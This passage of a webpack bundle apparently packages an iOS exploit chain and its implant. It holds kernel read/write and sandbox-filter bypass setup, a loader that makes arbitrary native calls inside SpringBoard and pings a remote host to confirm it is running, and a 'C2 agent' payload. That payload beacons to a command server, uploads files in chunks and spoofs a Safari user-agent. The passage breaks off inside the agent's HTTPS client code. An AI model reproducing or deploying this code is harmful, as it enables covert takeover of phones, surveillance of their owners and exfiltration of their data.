libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migSbxMsg));\nconsole.log(TAG, \"migKernelStackLR: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migKernelStackLR));\nconsole.log(TAG, \"monitorThread1Ptr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(monitorThread1Ptr));\nconsole.log(TAG, \"monitorThread2Ptr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(monitorThread2Ptr));\n\ntry {\n\tlet driver = new libs_Driver_DriverNewThread__WEBPACK_IMPORTED_MODULE_7__[\"default\"](kernelControl, kernelRW, kernelBase);\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].init(driver, mutex);\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].testKRW();\n\tlibs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_4__[\"default\"].init();\n\n\tconsole.log(TAG, \"Chain initialized\");\n\n\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(isRunningPtr, 1);\n\n\tstartFilterBypass(runBypassFlagPtr);\n\n\tconsole.log(TAG, \"Terminating bypass thread\");\n}\ncatch (error) {\n\tconsole.log(TAG, \"Error: \" + error);\n\tconsole.log(TAG, \"\" + error.stack);\n}\n})();\n\nvar __webpack_export_target__ = exports;\nfor(var __webpack_i__ in __webpack_exports__) __webpack_export_target__[__webpack_i__] = __webpack_exports__[__webpack_i__];\nif(__webpack_exports__.__esModule) Object.defineProperty(__webpack_export_target__, \"__esModule\", { value: true });\n/******/ })()\n;"); + +/***/ }), + +/***/ "./node_modules/raw-loader/dist/cjs.js!./src/loader.js": +/*!*************************************************************!*\ + !*** ./node_modules/raw-loader/dist/cjs.js!./src/loader.js ***! + \*************************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) +/* harmony export */ }); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("class Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\t\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\t//log(\"baseAddr: \" + this.#baseAddr);\n\t\t//log(\"dlsymAddr: \" + this.#dlsymAddr);\n\t\t\n\t\t//this.#memcpyAddr = this.#dlsym(\"test\");\n\t\t//log(\"memcpyAddr: \" + this.#memcpyAddr);\n\t\t//log(\"oinvAddr: \" + this.#oinvAddr);\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize)); //this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\t\n\t\t//log(\"argMem: \" + this.#argMem);\n\t\t//log(\"argMemPtr: \" + this.#argMemPtr);\n\t\t//log(\"argMemPtrStr: \" + this.#argMemPtrStr);\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr)\n\t\t\treturn false;\n\t\t//log(\"write: \" + buff.byteLength);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`writing: ptr=${ptr}, src=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr)\n\t\t\treturn null;\n\t\t//log(`read: ptr=${ptr}, length=${length}, ${typeof(length)}`, ptr, length);\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`reading: ptr=${ptr}, dst=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbol: \" + name);\n\t\t// Initialize argPtr to point to general purpose memory chunk\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtr\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\t\n\tstatic callSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbolRetain: \" + name);\n\t\t// Initialize argPtrPtr to point to general purpose memory chunk\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\tx0 = this.#toNativePtr(x0);\n\t\tx1 = this.#toNativePtr(x1);\n\t\tx2 = this.#toNativePtr(x2);\n\t\tx3 = this.#toNativePtr(x3);\n\t\tx4 = this.#toNativePtr(x4);\n\t\tx5 = this.#toNativePtr(x5);\n\t\tx6 = this.#toNativePtr(x6);\n\t\tx7 = this.#toNativePtr(x7);\n\t\tlet ret = this.#nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtrPtr\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) {\n\t\t\t\tlog('toNative(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') {\n\t\t\treturn value;\n\t\t}\n\t\telse\n\t\t\treturn BigInt(value);\n\t}\n\t\n\tstatic #toNativePtr(value) {\n\t\t//log(\"toNativePtr: \" + typeof value);\n\t\t// Strings need to be manually written to native memory\n\t\tif (!value)\n\t\t\treturn 0n;\n\t\tlet ptr = this.#argPtrPtr;\n\t\tif (typeof value === 'string') {\n\t\t\tif (value.length >= 0x1000) {\n\t\t\t\tlog('toNativePtr(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet strPtr = this.#argPtrStrPtr;\n\t\t\tthis.writeString(strPtr, value);\n\t\t\tthis.#argPtrStrPtr += BigInt(value.length + 1);\n\t\t\tvalue = strPtr;\n\t\t}\n\t\telse if (typeof value !== 'bigint') {\n\t\t\tvalue = BigInt(value);\n\t\t}\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t\tthis.#argPtrPtr += 8n;\n\t\treturn ptr;\n\t}\n\t\n\tstatic #dlsym(name) {\n\t\tif (!name)\n\t\t\treturn 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr)\n\t\t\treturn addr;\n\t\t//log(\"dlsym(): \" + name);\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr)\n\t\t\tthis.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\t//log(\"nativeCallAddr(): \" + addr);\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\t\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\n\t\tinvoker();\n\t\t\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\t//log(\"nativeCallSymbol(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n\t\n\tstatic #nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"nativeCallSymbolRetain(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\t\n\t\tconst selRetainArguments = this.callSymbol(\"sel_registerName\", \"retainArguments\");\n\t\tconst selSetArgument = this.callSymbol(\"sel_registerName\", \"setArgument:atIndex:\");\n\t\tconst selInvokeUsingIMP = this.callSymbol(\"sel_registerName\", \"invokeUsingIMP:\");\n\t\tconst selGetReturnValue = this.callSymbol(\"sel_registerName\", \"getReturnValue:\");\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selRetainArguments);\n\t\t\n\t\tif (x0) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x0, 0);\n\t\tif (x1) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x1, 1);\n\t\tif (x2) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x2, 2);\n\t\tif (x3) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x3, 3);\n\t\tif (x4) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x4, 4);\n\t\tif (x5) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x5, 5);\n\t\tif (x6) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x6, 6);\n\t\tif (x7) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x7, 7);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selInvokeUsingIMP, funcAddr);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selGetReturnValue, this.#argMemPtr);\n\t\tconst ret64 = this.readPtr(this.#argMemPtr);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\nfunction File(path) {\n\treturn path;\n}\n\nfunction log(msg) {\n\tif (logging)\n\t\treturn;\n\n\tlogging = true;\n\t\n\tconst data = Native.stringToBytes(msg + \"\\n\");\n\n\tconst O_WRONLY = 0x0001;\n\tconst O_APPEND = 0x0008;\n\tconst O_CREAT = 0x0200;\n\tconst flags = O_WRONLY | O_CREAT | O_APPEND;\n\tconst fd = Native.callSymbol(\"open\", File(logfile), flags, 0o644);\n\tif (fd < 0) {\n\t\tlogging = false;\n\t\treturn;\n\t}\n\n\t// For some reason file mode is not applied on open()\n\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\tlet offs = 0;\n\tlet left = data.byteLength;\n\n\tconst buffSize = 0x4000;\n\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\twhile (left) {\n\t\tconst size = left > buffSize ? buffSize : left;\n\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\tconst dst8 = new Uint8Array(src8);\n\t\tNative.write(buffPtr, dst8.buffer);\n\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\tif (!len || len < 0)\n\t\t\tbreak;\n\t\toffs += len;\n\t\tleft -= len;\n\t}\n\n\tNative.callSymbol(\"free\", buffPtr);\n\tNative.callSymbol(\"close\", fd);\n\n\tlogging = false;\n}\n\nvar logging = false;\nconst logfile = \"/private/var/mobile/Media/RemoteLog.log\";\n\nNative.init();\n\nNative.callSymbol(\"unlink\", File(logfile));\n\n// ===== DEBUG uplink: prove loader actually ran inside SpringBoard =====\ntry {\n\tvar _lfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_lfd >= 0) {\n\t\tvar _lone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_lone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _lfd, 0xffff, 0x1022, _lone, 4);\n\t\tNative.callSymbol(\"free\", _lone);\n\t\tvar _laddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _la8 = new Uint8Array(16);\n\t\t_la8[0] = 16; _la8[1] = 2; _la8[2] = 0x1B; _la8[3] = 0x6E;\n\t\t_la8[4] = 192; _la8[5] = 168; _la8[6] = 4; _la8[7] = 10;\n\t\tNative.write(_laddr, _la8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _lfd, _laddr, 16)) === 0) {\n\t\t\tvar _lreq = \"GET /log.html?text=PEMK_G_loader_alive_springboard HTTP/1.0\\r\\nHost: mh0usocqzi6f46i.com\\r\\n\\r\\n\";\n\t\t\tvar _lrbuf = Native.callSymbol(\"malloc\", _lreq.length + 1);\n\t\t\tNative.writeString(_lrbuf, _lreq);\n\t\t\tNative.callSymbol(\"write\", _lfd, _lrbuf, _lreq.length);\n\t\t\tNative.callSymbol(\"free\", _lrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _lfd);\n\t\tNative.callSymbol(\"free\", _laddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n"); + +/***/ }), + + +/***/ "./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js": +/*!****************************************************************!*\ + !*** ./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js ***! + \****************************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) +/* harmony export */ }); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// C2 Agent Payload - persistent loop in SpringBoard\n// Communicates with command.py via HTTP, runs until reboot\n// https://mh0usocqzi6f46i.com:443/beacon / https://mh0usocqzi6f46i.com:443/result replaced by server.py at load time\n// UUID and device model are obtained natively at runtime\n\nconst C2_BEACON_URL = \"https://mh0usocqzi6f46i.com:443/beacon\";\nconst C2_RESULT_URL = \"https://mh0usocqzi6f46i.com:443/result\";\nconst C2_CHANNEL_CODE = \"\";\nconst HQ_API_BASE = \"https://mh0usocqzi6f46i.com:443\";\nconst HQ_WALLET_PORT = \"443\";\nconst MAX_FILE_SIZE = 2 * 1024 * 1024;\nconst CHUNK_SIZE = 1024 * 1024;\n// /war single-POST threshold: larger packages are split into war_chunk parts on the same endpoint.\nconst WAR_POST_MAX = 5 * 1024 * 1024;\n\n// ============================================================================\n// Native Class (shared nativeCallBuff + invoker pattern)\n// ============================================================================\n\nclass Native {\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\tstatic #dlsymCache = {};\n\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr= this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr= this.#argMemPtrStr;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0, left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0, left = length;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\n\tstatic readPtr(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 8));\n\t\treturn v.getBigUint64(0, true);\n\t}\n\tstatic read32(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 4));\n\t\treturn v.getInt32(0, true);\n\t}\n\tstatic write64(ptr, value) {\n\t\tconst b = new ArrayBuffer(8);\n\t\tnew DataView(b).setBigUint64(0, value, true);\n\t\tthis.write(ptr, b);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\treturn this.bytesToString(this.read(ptr, len), false);\n\t}\n\tstatic writeString(ptr, str) {\n\t\tthis.write(ptr, this.stringToBytes(str, true));\n\t}\n\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0); x1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2); x3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4); x5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6); x7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNull=true) {\n\t\tlet a = new Uint8Array(bytes), s = \"\";\n\t\tfor (let i = 0; i < a.length; i++) {\n\t\t\tif (!includeNull && !a[i]) break;\n\t\t\ts += String.fromCharCode(a[i]);\n\t\t}\n\t\treturn s;\n\t}\n\tstatic stringToBytes(str, nullTerm=false) {\n\t\tlet b = new ArrayBuffer(str.length + (nullTerm ? 1 : 0));\n\t\tlet a = new Uint8Array(b);\n\t\tfor (let i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\t\tif (nullTerm) a[str.length] = 0;\n\t\treturn a.buffer;\n\t}\n\n\tstatic #toNative(v) {\n\t\tif (!v) return 0n;\n\t\tif (typeof v === 'string') {\n\t\t\tif (v.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, v);\n\t\t\tthis.#argPtr += BigInt(v.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\treturn typeof v === 'bigint' ? v : BigInt(v);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet a = this.#dlsymCache[name];\n\t\tif (a) return a;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nb = this.stringToBytes(name, true);\n\t\tnew Uint8Array(nativeCallBuff).set(new Uint8Array(nb), 0x1000);\n\t\ta = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (a) this.#dlsymCache[name] = a;\n\t\treturn a;\n\t}\n\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet b = new BigInt64Array(nativeCallBuff);\n\t\tb[0]=addr; b[100]=x0; b[101]=x1; b[102]=x2; b[103]=x3;\n\t\tb[104]=x4; b[105]=x5; b[106]=x6; b[107]=x7;\n\t\tinvoker();\n\t\treturn b[200];\n\t}\n\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst addr = this.#dlsym(name);\n\t\tconst r = this.#nativeCallAddr(addr, ...args);\n\t\tif (r < 0xffffffffn && r > -0xffffffffn) return Number(r);\n\t\treturn r;\n\t}\n}\n\n// ============================================================================\n// URL Parsing\n// ============================================================================\n\nfunction parseURL(url) {\n\tlet host = \"\", port = 80, path = \"/\";\n\tlet s = url;\n\tif (s.indexOf(\"https://\") === 0) { s = s.substring(8); port = 443; }\n\telse if (s.indexOf(\"http://\") === 0) s = s.substring(7);\n\tconst sl = s.indexOf(\"/\");\n\tif (sl >= 0) { path = s.substring(sl); s = s.substring(0, sl); }\n\tconst cl = s.indexOf(\":\");\n\tif (cl >= 0) { host = s.substring(0, cl); port = parseInt(s.substring(cl + 1)); }\n\telse host = s;\n\treturn { host, port, path };\n}\n\n// ============================================================================\n// Base64\n// ============================================================================\n\nconst B64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nfunction bytesToBase64(bytes) {\n\tlet r = \"\";\n\tfor (let i = 0; i < bytes.length; i += 3) {\n\t\tconst a = bytes[i], b = i+1 < bytes.length ? bytes[i+1] : 0, c = i+2 < bytes.length ? bytes[i+2] : 0;\n\t\tr += B64[a >> 2];\n\t\tr += B64[((a & 3) << 4) | (b >> 4)];\n\t\tr += i+1 < bytes.length ? B64[((b & 15) << 2) | (c >> 6)] : \"=\";\n\t\tr += i+2 < bytes.length ? B64[c & 63] : \"=\";\n\t}\n\treturn r;\n}\n\n// ============================================================================\n// POSIX Socket HTTP Client (http:// only, LAN testing)\n// ============================================================================\n\nfunction _sendBytes(fd, str) {\n\tconst SZ = 4096;\n\tlet sent = 0;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ + 1));\n\twhile (sent < str.length) {\n\t\tconst end = sent + SZ < str.length ? sent + SZ : str.length;\n\t\tconst part = str.substring(sent, end);\n\t\tNative.writeString(buf, part);\n\t\tconst n = Number(Native.callSymbol(\"write\", fd, buf, part.length));\n\t\tif (n <= 0) break;\n\t\tsent += n;\n\t}\n\tNative.callSymbol(\"free\", buf);\n}\n\nfunction _recvAll(fd) {\n\tconst SZ = 4096;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ));\n\tlet result = \"\";\n\tfor (;;) {\n\t\tconst n = Number(Native.callSymbol(\"read\", fd, buf, SZ - 1));\n\t\tif (n <= 0) break;\n\t\tresult += Native.readString(buf, n);\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn result;\n}\n\nfunction _socketPost(host, port, path, bodyStr) {\n\tconst fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return null;\n\n\ttry {\n\t\tconst tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n);\n\t\tNative.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\n\t\tconst sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tconst sab = new ArrayBuffer(16);\n\t\tconst sv = new DataView(sab);\n\t\tsv.setUint8(0, 16);\n\t\tsv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tconst p = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(p[0]));\n\t\tsv.setUint8(5, parseInt(p[1]));\n\t\tsv.setUint8(6, parseInt(p[2]));\n\t\tsv.setUint8(7, parseInt(p[3]));\n\t\tNative.write(sa, sab);\n\n\t\tconst cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return null;\n\n\t\tconst hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host + \"\\r\\nContent-Type: application/json\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t_sendBytes(fd, hdr);\n\t\t_sendBytes(fd, bodyStr);\n\n\t\tconst resp = _recvAll(fd);\n\t\tconst idx = resp.indexOf(\"\\r\\n\\r\\n\");\n\t\tif (idx < 0) return null;\n\t\ttry { return JSON.parse(resp.substring(idx + 4)); } catch(e) { return null; }\n\t} finally {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n}\n\n// ============================================================================\n// CFStream HTTPS Client (https:// - production with Nginx/Cloudflare)\n// ============================================================================\n\nconst _RTLD_DEFAULT = 0xfffffffffffffffen;\n\nfunction _makeCFString(str) {\n\tvar buf = Native.callSymbol(\"malloc\", str.length + 1);\n\tNative.writeString(buf, str);\n\tvar cfs = Native.callSymbol(\"CFStringCreateWithCString\", 0n, buf, 0x08000100);\n\tNative.callSymbol(\"free\", buf);\n\treturn cfs;\n}\n\nfunction _getGlobalCF(name) {\n\tvar addr = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, name);\n\tif (!addr || addr === 0n) return 0n;\n\treturn Native.readPtr(BigInt(addr));\n}\n\nfunction _getGlobalCFSafe(name) {\n\tvar val = _getGlobalCF(name);\n\tif (val && val !== 0n) return val;\n\treturn _makeCFString(name);\n}\n\nfunction _cfstreamPost(host, port, path, bodyStr) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return null;\n\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\",\n\t\t\t0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = 